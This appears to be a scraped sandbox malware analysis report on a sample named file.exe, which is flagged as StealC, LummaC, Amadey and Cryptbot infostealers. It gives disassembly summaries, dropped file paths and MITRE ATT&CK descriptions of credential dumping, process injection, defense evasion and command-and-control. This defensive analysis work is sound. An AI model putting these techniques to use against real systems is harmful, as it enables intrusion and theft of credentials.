Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C6690FF
Part of subcall function 6C6690E0: free.MOZGLUE(?,00000000,?,?,6C66DEDB), ref: 6C669108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C65FF2A), ref: 6C66E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C65FF2A), ref: 6C66E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C65FF2A), ref: 6C66E0FE

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f5230799d59e1a88953e39123e5cd48c616e8bb3c95ec6f32cb3a1017ae0af01
Instruction ID: cf024f082112fa35938fee91d002a513f7a7822b52a859798b12bce51c8bf4fe
Opcode Fuzzy Hash: f5230799d59e1a88953e39123e5cd48c616e8bb3c95ec6f32cb3a1017ae0af01
Instruction Fuzzy Hash: FC41C1B16042068FEB14CF6ACC8039A73B6AB86308F144939D556DBF40E732E915CB9B

Function 6C666E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C666EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C666EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C666F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C666F5C

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5f6e1b4fc5b19608813d89a0e8cbdd3ed5d67a5edd29073e72aff321dea24452
Instruction ID: 025df1016ff6f0fa7bca384295c82b2008725bb76d28e7732018698b68196e41
Opcode Fuzzy Hash: 5f6e1b4fc5b19608813d89a0e8cbdd3ed5d67a5edd29073e72aff321dea24452
Instruction Fuzzy Hash: 62312871A1060A8FDB04CF2ED9806AA73FAEB94304F50413DD41AC7A51EF32E559C795

Function 6C67B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C620A4D), ref: 6C67B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C620A4D), ref: 6C67B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C620A4D), ref: 6C67B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C620A4D), ref: 6C67B67F

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 635c4e11343c9bdb2c3890db9dc3e5b0d90ea32ba3c3dc544e4f7c55e6980d44
Instruction ID: debecf74c4ca7a15976283660b34a3172389bd40665212e523df21a0cc49d7bb
Opcode Fuzzy Hash: 635c4e11343c9bdb2c3890db9dc3e5b0d90ea32ba3c3dc544e4f7c55e6980d44
Instruction Fuzzy Hash: 6731E671A012168FDB20CF59C88469ABBF6FFC1314F168969C9069B301EB31E915CBF5

Function 6C64F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C64F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C64F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C64F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C64F668

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: dfb359b9c9700376316132e273bdedbfc4e190907305e79c15ede290640c7aa9
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: FB315171A00214AFC728DF5DCCC0A9F77B5EF94354B14C539FA4A8BB04D632E9458B99

Function 6C6626B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6626C1
free.MOZGLUE(?), ref: 6C6626E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6626FF
free.MOZGLUE ref: 6C66270D

Memory Dump Source

Source File: 00000000.00000002.2479076458.000000006C611000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2479037645.000000006C610000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479177258.000000006C68D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479765182.000000006C69E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2479926608.000000006C6A2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 5326825b53a856d823751afa9c6015fc1293a2b878877bc9e66cd58d1ce81f79
Instruction ID: 421a877a4f1414170fce620d8ce5e935aa0afcf6b6ea3df389c1c2b98f864be5
Opcode Fuzzy Hash: 5326825b53a856d823751afa9c6015fc1293a2b878877bc9e66cd58d1ce81f79
Instruction Fuzzy Hash: 4CF0D6B27012016BE7009E1AD888947B7A9AB41358B540035EA1AC3F01E332F919C79B

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Threatname: Cryptbot

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CBFIIEHJDBKJKECBFHDG

C:\ProgramData\DBFBFBGDBKJJKFIEHJDBAFIECG

C:\ProgramData\DGHCBAAEHCFIDGDHJEHCBGCGDB

C:\ProgramData\EBAKEBAE

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre